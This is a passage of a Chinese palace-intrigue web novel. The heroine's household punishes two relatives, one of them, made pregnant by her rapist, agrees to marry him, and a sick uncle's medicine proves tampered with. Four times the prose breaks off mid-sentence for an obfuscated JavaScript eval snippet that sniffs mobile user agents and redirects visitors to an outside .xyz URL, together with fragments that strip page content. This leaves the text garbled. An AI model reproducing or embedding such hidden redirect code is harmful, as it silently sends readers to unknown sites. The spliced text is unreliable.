谢宴之只觉那声音入耳极为不适,他示意侍卫将那婆子抓住,冷声道:“既然不肯说实话,那舌头也就没什么用了。” 侍卫立刻拔出腰间的佩刀,抓了刚说话的婆子,要割她的舌头。 “夫人救我,夫人救我!”那婆子呼喊间,侍卫已经手起刀落。 众人只能听见那婆子呜呜地出声,却听不清她嘴里在说什么。 另一个婆子吓得跪在地上:“世子!我说!我说!” “是二夫人命我们将这表小姐和她的丫鬟扔进去的。” “夫人说那表小姐害了小姐,该扔进去喂狗!” 林氏气急指着那婆子:“你……!” 谢宴之转头问沈清念:“你想怎么处置那害你之人?” 林氏和谢敏闻言,皆是抬头看着沈清念。 沈清念不带一丝犹豫:“害人的人,才该丢进去喂狗!” “好。”谢宴之说着,眸子里寒光一现,“二婶是自己去,还是我让人将二婶送过去?” 林氏气愤道:“宴哥儿,你真的要为这么个**伤害自己人?” 谢宴之笑道:“她是我的丫鬟,自然也是自己人。” “请吧!” 两个侍卫扭着林氏就要往外走。 谢敏见状冲上去推开那两个侍卫,哭喊着道:“放开我母亲!都是我的主意!与我母亲无关。” “敏儿!”林氏抱着谢敏哭成一团。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16385121|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>谢敏窝在林氏怀里,小声啜泣:“别怕,母亲,他们不敢把我们怎么样的。” 方才她已经派人去搬了救兵,那人应该到了。 谢宴之看着那哭成一团的母女二人,揉揉了太阳穴:“那就一起带过去。” 都到这时候了,她们还不知道自己错在哪里,还想害无辜之人的性命。 他今日是一定要给她们一些教训的。 沈清念也没想到谢宴之真的会按照她说的做。 那可是她的二婶和妹妹,真要将她们送去喂狗? 听到这话,谢敏回头,看了一眼谢宴之,这一眼包含的情绪太过复杂,复杂到眼泪流下之后,只剩下一层浓浓的恨意。 她又看向沈清念,那目光里更是恨意不减。 自从她来了靖南侯府,她就没有开心过一天。最后还因为她,遇到了那种事! 她为什么还能完好地站在那里,享受着她哥哥的喜欢! 她越看,越觉着沈清念身上那袍子分外刺眼。 她明明见到那人恶心得要吐,却只能妥协,她要看着谢宴之后悔!她要沈清念跪在她面前忏悔! 林氏转过来,声音里带着恳求:“宴哥儿,放过敏儿,她的身子受不了这样的折腾。” 谢宴之面无表情,只是用指尖敲击着桌面。 林氏又看向沈清念:“沈清念,你放过敏儿吧,她已经得到惩罚了,她……” 或许是想到了那伤心处,林氏又捂着帕子,哭起来。 沈清念心里也是有些动容。 她承认,林氏确实是一个好母亲,为了谢敏什么事都愿意做。 可她不该帮谢敏去害别人。 谢敏可怜,难道她就不无辜吗? 若那日出事的人是她,她还有活路吗? 今日的事,也给了她一个教训,不要对这些人心慈手软。 有些人就是本性难改! 想到刚刚那惊险的一幕,沈清念就遍体生寒。 谢宴之见沈清念并没有说话,心里倒是有些欣慰,她终于收起她那微不足道的可怜之心了。 他对着侍卫招招手,侍卫便将二人带着往外走。 “谢世子,且慢!” 谢宴之听那声音,有些耳熟,再见那人进来,他眼里寒光闪现。 第一百二十二章 安心待嫁 谢敏见到来人,心神晃了晃,神色一下凝固住。 没想到来人竟是陆世子陆执! 看到他,谢敏眼眶泛红。她本是让人去请陆元璋的! 林氏见状,心中大致明白了。陆世子就是谢敏搬来的救兵。 她用眼神质问谢敏,为什么要叫来广德侯府的人。 同样疑惑的,还有在场的众人。 苏姨娘和沈清念都知谢敏那件事,是陆二爷陆元璋做的,谢敏为何还要和广德侯府的人来往? 谢宴之眉头微皱:“陆世子来这里做什么?” 陆执看着谢宴之,不紧不慢:“来接人。不曾想在这里碰到谢世子。” 说着,看了一眼谢敏,朝她微微一笑。 谢敏与陆执的眸光相对,陆执拱手,对着她温柔一笑。 谢敏眼眶泛红,陆世子的笑容还是那样温暖,让人如沐春风。 如暖风吹走寒霜,谢敏觉着自己的心一下又活过来了,陆执从前从未这样对着她一个人笑过。 他永远被众人围在中间,与他人言笑晏晏。而她总在人群之外偷偷看他。 “接何人?”见陆执看向谢敏,谢宴之心中有了不好的预感。 谢敏竟然与广德侯府的人来往,谢宴之已经跟陆元璋翻了脸。 这番举动就如同是在扇谢宴之的耳光! “我未来的二婶,谢敏。” 陆执的声音是那样温柔平静,却是让众人耳边炸开了花。 此言一出,众人皆是一惊。 谢敏听到这声二婶,浑身如针扎般难受。 她只觉自己的脸上是火辣辣的,这种难捱的感觉是她始料未及的。 原本她以为她能承受住众人惊讶的目光,可现在陆执就在她眼前,想到自己曾经是想要当他的妻子的,如今却要给他当二婶,谢敏就觉得无地自容。 只想在地上寻一个洞钻进去,将自己藏起来。 眼前又是蒙起了一层雾气,谢宴之还在一旁看着,沈清念那个**也在,她不能让他们这对狗男女看了笑话去。 她仰着头,不让那泪水流出来,只是握着林氏的手,又紧了几分。 林氏察觉谢敏握住自己的手越来越紧,努力忍着眼泪。 她的傻女儿又犯了一回傻!为何不与她先商量? 谢宴之眸子里闪着寒意:“陆世子,慎言!” “我怎不知我靖南侯府的姑娘给你当起长辈来了?陆世子认错亲了?” 陆执的二叔是陆元璋,他称谢敏二婶,这是什么意思,不言而喻。 众人心中皆是一惊。 陆执道:“我二叔要不了多久就要迎娶谢敏姑娘,那她自然是我未来的二婶了。” 想到陆元璋,谢敏的手握成了拳,胃里忍不住一阵翻滚。 沈清念听到这话,眉头微蹙。谢敏竟要嫁陆元璋那个衣冠禽兽!谢敏为何要嫁过去?那陆二爷根本就不是良人。 她带着一丝疑惑,看向谢敏。 谢敏察觉到沈清念的目光,满含怨恨怼了她一眼。 “谁说谢敏要嫁了?”谢宴之拔出身上的剑,架在陆执的脖子上。 寒光乍现,陆执感受到脖子上的冰凉,心里突突直跳。 他没想到谢宴之反应会这样大。 “我要嫁!” 谢敏掷地有声,谢宴之冰凉的目光看向她,里面的警告让她头皮发麻。 她还硬着头皮快步上前,想要帮陆执推开那剑,被林氏一把抓住。 陆执笑着看向谢宴之:“难道谢世子想要抗旨?” “圣旨天黑之前,就已送到了靖南侯府,谢世子不妨回府看看。” 看到谢宴之黑沉的脸,陆执虽面上带笑,心下却是庆幸。 他二叔早料到谢宴之不会同意谢敏嫁入广德侯府,收到谢敏的信后,就去宫里请了旨。 不然,以这煞神的性子,此刻肯定要他好看。 谢宴之听到陆执的话,心里不免冷嗤,没想到陆元璋为娶谢敏,竟这样大费周章。 他不禁看了谢敏一眼,声音冰冷:“谢敏,你想清楚了?” 谢敏毫不犹豫,近乎是脱口而出:“我想得很清楚。我要嫁过去!” 陆执此时也伸出手,试着拨开了谢宴之的剑:“谢世子请吧!” 谢宴之冷哼一声,往前走了两步,又转回来,拉着沈清念一起走。 “回府!” 沈清念很不情愿地甩着手,却没有一点儿用。 陆执看着沈清念,丫鬟的打扮,却披着谢宴之的衣袍。 心里不禁鄙夷没想到谢宴之倒是个情种。 不过那沈娘子,倒真是个美人儿,比他娇养的美人儿还要美上许多。 一众侍卫带着林氏和谢敏一道回府。 在马车上,谢宴之仍然没有放开沈清念的手,他面色凝重。 若那陆元璋真的请来了圣旨。 那靖南侯府与广德侯府就有了牵扯,一损俱损,一荣俱荣。 而之前的迹象都表明,陆元璋一个京城的侯爷,怎屑与岭南的山匪来往。 恐怕,他看重的是山匪背后的势力。 那股势力究竟是什么,谢宴之只觉,定于当今圣上不利。 这样一来,就算谢宴之查到了什么,也不敢动那广德侯府。 陆元璋这是要他投鼠忌器! 若是二叔,会怎么做? “嘶…”沈清念皱眉,看了看谢宴之抓着她的手。 谢宴之听见声音回过神,见沈清念坐得离他远远的,不耐烦道:“你躲什么?” 沈清念:“请世子放开奴婢的手。” 谢宴之低头看,那手背上确实有了红印,这才松开了手。 沈清念揉着手背,低声道:“还请世子以后不要碰触奴婢,以免落人口舌。” 谢宴之只觉沈清念这声音万分刺耳,讽刺道:“本世子方才救你之时,你为何不说?” 沈清念气急,谢宴之明知道她说的不是这个意思。 她微蹙眉头,看了他一眼,谢宴之的性子越发怪了。而这怪的源头,怕是谢宴之还是不肯对她放手。 不管怎样,沈清念还是要先说一说谢松奕的事,帮姨母一把。 于是,沈清念岔开了话:“我今日见到二爷,发现了一些奇怪之处。” 谢宴之看她被他一句话噎住,心里快意起来。这还是他第一次 “有何怪异之处?” 二爷的药! 沈清念回想了一下:“二爷的药闻起来有股腥味,而我们带去的药是不会有那种味道的。” “你的意思是二叔的药有不妥?” 这些年,二叔的药一直是在济安堂抓的,胡掌柜也是绝不会害二叔的。 “济安堂的药我瞧了,没有不妥之处。” “所以你今日才去伙房,是想去看药渣?”谢宴之说着,看向沈清念。 沈清念没想到谢宴之如此机敏。 她正了正脸色,继续道:“是,那药渣我看了,也没有那种腥味。” “所以,应当是熬好以后,又被人加了什么东西在里面。” 谢宴之听了这话,目光沉了沉。看来这靖南侯府里,一直有人在胆大妄为,将他们蒙在股掌之中。 究竟会是谁呢?二叔病后,一直是林氏在贴身照料,甚至熬药也是亲力亲为。 况且,林氏一直深爱着二叔,这是全府上下都知道的。 不然,当年她也不会费尽心机嫁进来。 那她如果真的那般用心照料,定会发现这些不妥。 除非…… 谢宴之轻扶额头,眼睛眯了眯,看来林氏隐瞒了什么秘密。 沈清念还在等着谢宴之回应,她不知道他有没有将她的话听进去。 也不知道他会不会重视起来。 正想着,只听得谢宴之道:“给本世子揉一揉。” 谢宴之指了指自己的额头。 沈清念心下无语,都这时候了,他还有心情磋磨她。 她不情不愿地将手搭在他的头上,缓缓揉了起来。 谢宴之眯着眼道:“二叔的事,我会弄清楚。” 让他查出是谁在如此大胆,敢害他二叔,他定要那人千倍万倍偿还! 沈清念听了,放心了些。 “但你别以为救了二叔,你就能出了靖南侯府。” “这侯府如今的主人,是我!明白了吗?” 谢宴之说完,抬起眼皮看了沈清念一眼。 见她原本白皙的脸,变得更白。 他嘴角一撇,真以为**她的心思? 沈清念听到这话,心跳加快,被他说破她的心思,不免有些紧张起来。 哪怕他才将她救出那个**的地方,她仍然觉得谢宴之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16392813|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是另一个龙潭虎穴。 这时,马车稳稳停在了靖南侯府门前。 老夫人和大夫人早已等在一旁,见谢宴之下来,老夫人忙拄着拐迎了上去:“宴哥儿,你终于回来了。刚安公公来传旨了。” 说着,老夫人将明黄的圣旨递了过去。 谢宴之打开圣旨看了看,又看向谢敏,见谢敏侧着脸不看他, “谢敏,看在二叔的面上,我再问你一声,你是不是要嫁给陆元璋?”“如果你是在赌气,马上随我进宫与圣上说清楚!” “我不,我愿意嫁!”谢敏近乎是哭着喊出声。 林氏拉住谢敏的手:“敏儿,你可别糊涂啊!” 陆元璋那个老匹夫,亲手毁了她的敏儿,如今还要请旨让敏儿嫁过去,林氏心中想起来就一阵恶心。 她也不愿让女儿嫁过去。 谢敏却迎上谢宴之凛冽的目光,昂首挺胸:“你不替我着想,我自己为自己争一条活路!” 谢宴之见谢敏那坚决的样子,冷声道:“既然你执迷不悟,那就好自为之!” 陆执笑着对谢敏道:“那谢姑娘就在府中安心准备,等着二叔来迎娶。” 随后,他又朝老夫人和谢宴之的方向拱了拱手,要转身去坐回府的马车。 “迎亲那日,陆世子可会来?”谢敏见陆执要走,焦急出声。 虽然知道这样问,有些不妥,但她还是怀着期待的眼神,目光灼灼地看向陆执。 她希望那日,陆执能跟着来迎亲。好像他来了,她是去嫁他的一样。 陆执看到那双雾气蒙蒙的眼,心里有些不自在,谢敏看他的眼神,过于深情了些。 他心中不免有些不喜。都是二叔的人了,还打着他的主意! 但他还是面上带着笑,保持着他的君子风度:“大婚那日,我会留在府中,替二叔招待宾朋好友。” “哦。”谢敏声音里透着一丝失落。 陆执见状,不再言语,转身离去。 他今日二叔交给他办的事已经办妥,现在该回府去跟二叔回禀一声了。 陆执走后,谢宴之扶着老夫人往问心堂去。 老夫人如今是喜忧参半。 喜的是,陆元璋欺负谢敏这件事情,那陆元璋终于肯负起责任。 不然,谢敏日后的夫君娶了谢敏,知道她不是清白之身,恐怕会连累靖南侯府的名声。 所以先前,她才下令将谢敏关在庄子上。 忧心的是,那陆元璋并不是什么好人,姬妾又多,谢敏嫁过去日子不会好过。 老二就这一个女儿,她实在有些于心不忍。 可如今是圣上下旨,她们谢家根本不可能抗旨。 她转身问谢宴之:“宴哥儿,真的要准备起来?” 谢宴之面色平静:“圣上下了旨意,靖南侯府不能抗旨。” 但他们广德侯府可以!或者,那陆元璋大婚前,就没了性命。 谢宴之眼里涌现一丝杀意。 老夫人叹了口气,进了问心堂。 而谢敏和林氏也回了院子,一进屋子,谢敏就瘫坐在凳子上,眼泪不停地往下掉。 “母亲,我看到陆世子了。” “等我嫁过去,我便能日日见到他了。” 林氏抱着谢敏,哭起来:“敏儿,这样做值得吗?” “陆元璋迟早都会有报应的。我同你讲过,不要嫁他。”林氏自责不已,一切都是她的错。 二爷的事是她的错,谢敏的事也是她的错! 林氏后悔也来不及了。 谢敏用了帕子抹了眼泪:“母亲放心,那陆元璋不敢再伤我。” 谢敏说着,眼里都是恨意。 陆元璋,她要让他后悔那样对她!以后,都没人敢欺负她和母亲。 她又想起今日谢宴之为了沈清念,竟要将她们母女二人拿去喂狗。 这个沈清念也留不得。 总之,她有法子,叫她留不下来。 至于谢宴之,她也恨他! 等她嫁过去,就再也不回靖南侯府了。 她又掏出袖中的纸条,这是陆执趁着谢宴之出庄子的时候,悄悄塞给她的。 她看了看上面的字,眉头皱了皱额,嫌恶地揉成了一团扔在地上。 林氏忙捡起来,在蜡烛上点着了,扔在地上让它化为了灰烬…… 第一百二十三章 不是说要做我的夫人吗 东大街,祥和茶楼。 外面的河边,翠柳成荫,繁花点缀,三三两两的文人在亭子里写诗作画。 谢敏戴着帷帽,坐在二楼包厢边,却没有心情欣赏眼前的一切。 昨夜,陆执给她的纸条,就写着今日祥和楼一聚,只是底下的私印,却不是陆执的。 “咯吱”门从外面被打开,沉重的脚步声响起,熟悉的味道传来,让她想起了那噩梦般的一切。 谢敏的手不自觉颤抖起来。 她心中有些慌乱,起身就要逃走,却被一双大手抓住:“上哪儿去?”陆元璋的声音响起。 事隔一个多月,听到这个声音,还是让她浑身颤栗。 陆元璋见谢敏没有要坐下来的意思,一把上前掐住她的脖子:“你很怕我?不是说要做我的夫人吗?” 谢敏双手抓住那双大手,满眼惊恐地捶打起来,脖子上传来疼痛。 她艰难出声:“放…放手!” 陆元璋看了一眼她的肚子,哼了一声,松开了她,坐到了椅子上。 谢敏重重咳了几声,觉着自己又能重新呼吸了。这才哆哆嗦嗦坐到了旁边的椅子上。 此时,门外传来了敲门声,陆元璋朝着门外招呼了一声:“进来。” 一个大夫就背着药箱进来了:“二爷。” 谢敏盯着这个大夫, 从她第一次晕倒开始,就是这个大夫来庄上替她诊的脉。 那个时候,她和母亲林氏都不知道这是陆元璋的人。 “王大夫,给夫人看看。” 陆元璋吩咐道。 昨夜听说她被谢宴之吓得不清,还差点将她拉出去喂狗。 要是她腹中的孩儿有个三长两短。 陆元璋想到这里,将茶杯狠狠往桌上一置。 那王大夫将帕子放在谢敏手上,才将手搭了上去,号了脉。 见到陆元璋置茶杯的一幕,忙恭敬道:“侯爷,夫人腹中孩儿一切都好。” “只是,夫人似乎受到了惊吓,我给夫人开些稳定心神的药即可。” 陆元璋脸上的狠厉之色才消散下去,满意地点点头:“有劳王大夫了。” 王大夫背上药箱,恭敬地又行了一礼,退出了屋子。 陆元璋看着对面的谢敏,心道她不是他这些年来最满意的女子,却是他有过的女人里最争气的一个。 这些年他都没有一儿半女,这事一直是他的心病。 是矣,凡是他睡过的女子,他都不放过一个,全留在府里,就看谁能怀上他的孩子。 就算谢敏是被迫的,但只要他放了种子的,都有可能怀上身孕。 所以,当日谢敏回了府,他就一直派人暗中盯着。若谢敏身体有什么不适,第一时间来报。 一月前,谢敏第一次在庄子上晕倒,陆元璋就得了消息。 他当即买通了林氏请的大夫,让那大夫借口去不了,好让王大夫去瞧。 王大夫去了以后,十分肯定谢敏是身怀有孕。这让陆元璋心情大好。 但王大夫说过,谢敏的看上去状况很差。 他又想到这孩子是他强迫而来的,谢敏或是整个靖南侯府怕不会留下这个孩子。 所以,他要王大夫无论如何要帮他保住这个孩子。 陆元璋伸手,想摸摸谢敏的肚子,摸摸他的孩子。 谢敏惊叫一声,躲开了去。 这举动显然触怒了陆元璋。 他狠狠盯着谢敏,咬牙道:“要不是你怀有我的孩儿,你以为我会要你!” 谢敏闻言,忍着心中的害怕,走到陆元璋面前。 却在陆元璋的手即将碰触到她的肚子时,再也忍不住,跑到一旁呕吐起来。 陆元璋皱着眉:“你这才月余,反应竟这样大。” 谢敏掏出帕子擦了擦嘴,缓缓道:“我母亲说,这反应怕是个男孩儿。” 说着,她抚了抚肚子,观察着陆元璋的神情,见他果然很开怀。 心下鄙夷,作恶多端之人,怎配有儿子? 她的母亲,还不知她是有孕了,又怎会说出是男孩这样话来? 陆元璋听到,心中大喜。他做梦都想有个儿子,没想到是谢松奕的女儿最后给他生了个儿子。 他到时还得去多谢这个对手。如今,谢松奕就要成为他的好岳父了。 陆元璋开怀一笑。 不知谢松奕知道他的女儿嫁了他,会是一副什么样的表情? 他又开口:“你好好待着,过府前,我都会让王大夫府中来看顾你。” 提到这个王大夫,谢敏就捏紧了帕子。 当日,她晕倒后,这个王大夫到庄子上来给她看诊,告诉母亲,说她是忧虑过多,脾胃有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16395839|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了毛病。 还给她开了好些药丸子。 直到沈清念到庄子上来的那天,王大夫给她号完脉,又给了她一瓶药丸子,她转头道:“你是陆元璋的人吧?” 那王大夫心下有些惊慌,他不知谢敏是如何得知的。 但陆二爷吩咐过,不可让她发现她有孕的事。 “姑娘在说什么?” 谢敏见那王大夫还在装傻充愣,她拿起头上的簪子,抵住自己的喉咙:“你真以为我不知自己是怎么了?” 她这一月,小日子没来。细细想来,她也知道了是怎么回事。 那王大夫吓得出了一身冷汗。 这十多年,陆二爷就得了这一个孩儿,万不能有事。 谢敏见他不回答,又晃了晃手中的药瓶:“这是养胎药吧?” 她这种身份的女子,若身怀有孕,对靖南侯府来说,是奇耻大辱。 她的祖母老夫人或者母亲林氏都有可能给她一碗落胎药。 谁会这么好心,给她养胎药养着,只能是陆元璋那个老匹夫! 他在乎她腹中的孩儿。 “姑娘,莫要伤了自己。”王大夫想夺下簪子,却又不敢靠近。 他本来还想让谢敏吃两三月的养胎丸,到时候月份大了,想堕胎也堕不了。 没想到这姑娘这么快就发现了。 “给我一副堕胎药。” “我不要这个孽种!”谢敏几乎是哭着说的。 王大夫跟着陆二爷也有十几年了,他怎么敢给她开堕胎药呢? 他想了想劝解道:“你终日被囚在这庄子上,还不是因你身份还不够高。” 闻言,谢敏一双泪眼看向他,王大夫见她终于有些松动,接着道:“二爷也是手握实权,你嫁给了二爷,就是侯府的二夫人了,谁还敢将你关在庄子上? “这样的尊荣,也没有几个女子享有。” 这时,她又瞥见窗外,沈清念带着菱儿在树下摘李子,那笑靥如花的样子,深深刺痛了她。 她放下来簪子,似下了某种决心。 “告诉他,想要这个孩子,就娶我当正妻。” 等她成了广德侯府的二夫人,她就要借陆元璋的手,做她想做的事。 再说,她还要报复陆元璋呢! 他将她害得这样惨,还指望她给他孩子!痴心妄想! 第一百二十四章 又想起了那日的滋味 谢敏点点头。 “你有孕之事,万不可泄露。” 陆元璋又看了看那肚子,眼里多了一分阴毒。 谢敏这次有孕,也让他对这些年一直未有子嗣的事,产生了怀疑。 看来他要好好查查了。 “万不可像昨日那样,要是伤到了我的孩儿,我要你生不如死。” 说着,陆元璋那狠厉的模样,着实有些吓人。 谢敏弱弱道:“要不是因为那个沈清念,大哥也不至于要伤我。” 谢敏说完,偷偷看着陆元璋脸上的神色。 沈清念? 陆元璋脑中又想起了那娇美的模样。 昨日听执儿说,谢宴之对那姓沈的**格外上心。 他之前怎么没想到谢宴之那日能将沈清念救走,是因为对那个女人动了心。 他一直对谢宴之因山匪案咬着他不放心生不满。 这个人又清冷,毫无弱点。 如今这个沈清念,可以算做是谢宴之的软肋了。 他舔了舔后牙槽,脑中已经有了拿捏谢宴之的主意。 他兴奋地将谢敏拉坐到他腿上,拍了拍谢敏的脸:“你真是帮了我一个大忙了。” “等你生下我的儿子,将来广德侯府的一切都是他的。” 说着,还凑到谢敏脸上去亲了一口。 谢敏面上带笑,趁他不注意,嫌恶地擦了擦脸上的口水,心里又泛起一阵恶心。 陆元璋此时觉得谢敏看着顺眼了许多,他见她害羞似的在他怀里低着头,那嫩滑的肌肤,又让他想起了那日那滋味。 毕竟,她模样本来就不错,还有一副娇软的身子。 他的手,情不自禁在谢敏的腰肢上游走起来。 又将脸贴在谢敏的脖子上,轻声道:“放心,这次爷会温柔些。" 谢敏听到他的话,察觉到他手上的动作,身上犹如千万条虫子在爬。 那日的恐惧的回忆,令她不自觉的颤抖起来。 随着他手的游走,谢敏捂着嘴呕吐起来。 陆元璋眉头又皱了起来,冷哼一声。 她这反应未免太大了些。不像是有孕导致的呕吐,倒像是因他的碰触才吐的。 谢敏见状,带着些讨好道:“我身子实在是不适,服侍不了二爷。” 陆元璋看她一副止不吐的样子,确实有些难受,心下那点心思也下去了。 他站起来,摸着下巴,看了谢敏一眼:“好生养着,待你好了,爷再好好疼你。”说完,就离开了屋子。 谢敏惹的火,他得回府去找个美妾去一去。 待陆元璋走后,谢敏还吐了好一会儿,才停了下来。 这个陆元璋,真的令人恶心! 想到过府后,要日日对着那令人作呕的脸,谢敏就又觉得胃里一阵翻滚。 不管怎样,今日她来见陆元璋的目的已经达到了。 她故意说出沈清念的名字,就是要让陆元璋再次注意到她。 她要将她身上所发生的事,还给沈清念。 谢敏心道:沈清念,就好好享受陆元璋的宠爱吧。 待谢敏回了府,那苍白的脸吓坏了林氏。 她刚坐了马车,现下胸口有些闷,她一把推开林氏,捂着嘴忍不住呕吐起来。 林氏忙将关上了门,只剩她母女二人留在屋子里。 林氏转身,从卧房拿了几颗李子递给谢敏:“吃吧,吃了就不吐了。” 谢敏见那李子尚且青涩,她咽了咽口水,拿起一颗放进了嘴里。 吃着吃着,忽然停下了动作,回头看向林氏:“母亲,你是不是知道了?” 林氏点点头。她到底是生养过孩子的妇人,谢敏这些日子的反应,她又怎会不知她是怎么了。 她握住谢敏的手,关切道:“敏儿,你究竟是如何想的?” 谢敏的眼睛微微湿润:““我恨陆元璋。” 林氏听了这话,心里有些惊讶,她有些不懂谢敏的心思。 放在从前,她肯定是要谢敏落掉这个孩子的,它毕竟是个孽种,于世人所不容。 可如今谢敏要嫁入广德侯府,那这个孩子就是谢敏今后的倚仗了。 林氏:“敏儿,那你为何还要嫁入广德侯府?” 谢敏咬牙道:“陆元璋毁了我,我要留在他身边,才有机会报复他罢了。” “至于这个孩子,他想都不要想!” 这个孩子就是她**的烙印,她怎么会生下来每日提醒自己那噩梦般的一切? 至于陆元璋,她是不会让他如愿的,这样的人就该**! 林氏看着谢敏的眼泪,心里难受极了。 谢敏的事,她和陆元璋,都是罪人。 林氏擦了擦眼泪,安慰道:“你先好生养着,人前我再替你遮掩些,待你过府那日,都不要出什么岔子。” “你想做什么,母亲都会站在你身后。” 待谢敏睡着后,林氏才来了谢松奕的屋子。 她对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401673|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着谢松奕说了好多好多,可他却没有任何反应! 林氏忍不住,对着谢松奕的胸膛捶打起来,嘴里念叨:“你倒是说话呀,我到底该怎么做!” 从前,他虽不喜她,但好歹对谢敏还是疼爱的。 如今,他事事都由她摆布了,却也不是她想要的。 她看着那张不再俊美的脸,凑上去吻了吻额头。 曾经她被这张脸迷得失了心窍,如今她还是恋着他。 林氏抬头看着谢松奕:“奕郎,我该怎么办?” 可惜,回应她的,只有那空洞麻木的眼神。 观澜居里。 沈清念一早就在谢宴之的书房里打扫,她轻轻打了一个喷嚏。 谢宴之听见声音,抬头看了她一眼。 她昨日受了风寒? “过来将这儿再擦一遍!”谢宴之指了指面前的书案。 沈清念看了一眼那书案,心下有些不满。 那桌子她方才已经擦过了,谢宴之还黑着脸要她再擦一遍。 但她现在是奴婢,谢宴之是主子,她拒绝不了。 沈清念慢慢走了过去,拿起帕子重重地擦了起来。 谢宴之见她还有力气生气,身子应当是无碍的。 他又淡淡开口:“二叔该喝药了。” 沈清念动作一顿,随后明白过来,谢宴之是要她一起去看那药。 既然熬药的时候,那药没问题。 那药端到二爷屋子里的时候,肯定就已经是那有问题的药了。 等沈清念将桌子再擦了一遍,就跟着谢宴之来了二房的院子,推开门,正好看到苏姨娘要给谢松奕喂药。 ”姨母!“沈清念喊道。 苏姨娘回头,见沈清念和谢宴之都在,便将药放在一旁,起身朝谢宴之行了一礼:“大公子。” 沈清念朝门口看了看,见元青和菱儿守在门口,对着苏姨娘做了一个噤声的动作。 随后,她从怀中拿出一个小瓷瓶,用勺子将药一勺一勺舀进去。 “念儿…?”苏姨娘见沈清念这番举动,心里有些诧异。 沈清念在苏姨娘耳边道:“这药不能再给二爷喝了。” 苏姨娘见谢宴之一言不发,一切都随着念儿,那他必定也是同意她这样做的。 她也想到了什么,惊讶地捂住了嘴,用眼神询问这药是不是有问题。 沈清念点点头。 这时,门外传来了林氏的声音:“你们怎么在这儿?” 第一百二十五章 很喜欢她的夫君 元青瞥了一眼身后的门,拱手:“爷过来看看二老爷。” 林氏眉头微微皱起,心里觉得有些奇怪。但她又说不上来。 好像是这段时日,谢松奕的屋子里热闹了许多。 应当说是探病的人多了些。但是他们应该发现不了什么。 毕竟这些年她都做得很隐秘。 这样想着,她定了定神,走了进去。 元青的声音传进屋子里时,苏姨娘刚将药倒在了窗外的花圃里。 眼看门就要推开,苏姨娘将碗藏起袖中,假装在关窗户。 林氏进来,便见谢宴之坐在床边,沈清念立在一旁。 而苏姨娘双手搭在窗上,好似在关窗户。见她进来,苏姨娘转身道:“夫人。” 林氏瞥了她一眼,又看向谢宴之抬眸:“世子来了。” 谢宴之微微颔首。 林氏转头问苏姨娘:“二爷可服药了?” 苏姨娘低头:“妾刚已经给爷服药了,如往常一样,一滴都未剩下。” 林氏听后,淡淡回应:“那就好。” “往后二叔不必再喝这个药了。” 谢宴之说着,抬眸看向林氏,继续道: “我南下遇了一位神医,后日就可到府上。” “他来信说可停药两三日,以便他更好地诊脉。” “不可!”林氏心下一惊,脱口而出。 奕郎这药不能停下,否则…… 谢宴之眉头微皱,看向林氏。 “为何?” 林氏捏着帕子,看着谢宴之探究的目光,意识到自己刚刚的反应过于激动了些。 她调整了一下情绪,解释着:“奕郎一直都是喝这个药,虽不见好转,也不见加重。” “我是担心这忽然停了药,对奕郎的身体不好。” 可林氏的反应,已经全然被谢宴之看在眼里,他心里已经有了数。 看来,林氏一直都知道这药的蹊跷之处。 听到他说神医要来,林氏脸上没有一丝笑意,反而还有一丝慌张。 “那二婶的意思?”谢宴之试探着问道。 “还是让奕郎继续喝药吧。”林氏答道。 谢宴之瞥了一眼沈清念,又道:“那就一切照旧,待那神医到了再说。” 林氏脸上的神情一下就松了下来。 林氏这变化,自然也落入了沈清念的眼里,她有些不敢相信。 难道二夫人一直都在害二爷? 她转而又否定了自己的想法。 这府上人人都知道二夫人很喜她的夫君,日夜都照顾在身边。 谢二爷从前也是大将军,二夫人应当没这个胆量吧。 谢宴之此时起了身,向屋外走去,又想到什么,转身道:“这些年照顾二叔,辛苦二婶了。 林氏心中又腾起一股怪异之感,谢宴之从未对她说过如此客套的话。 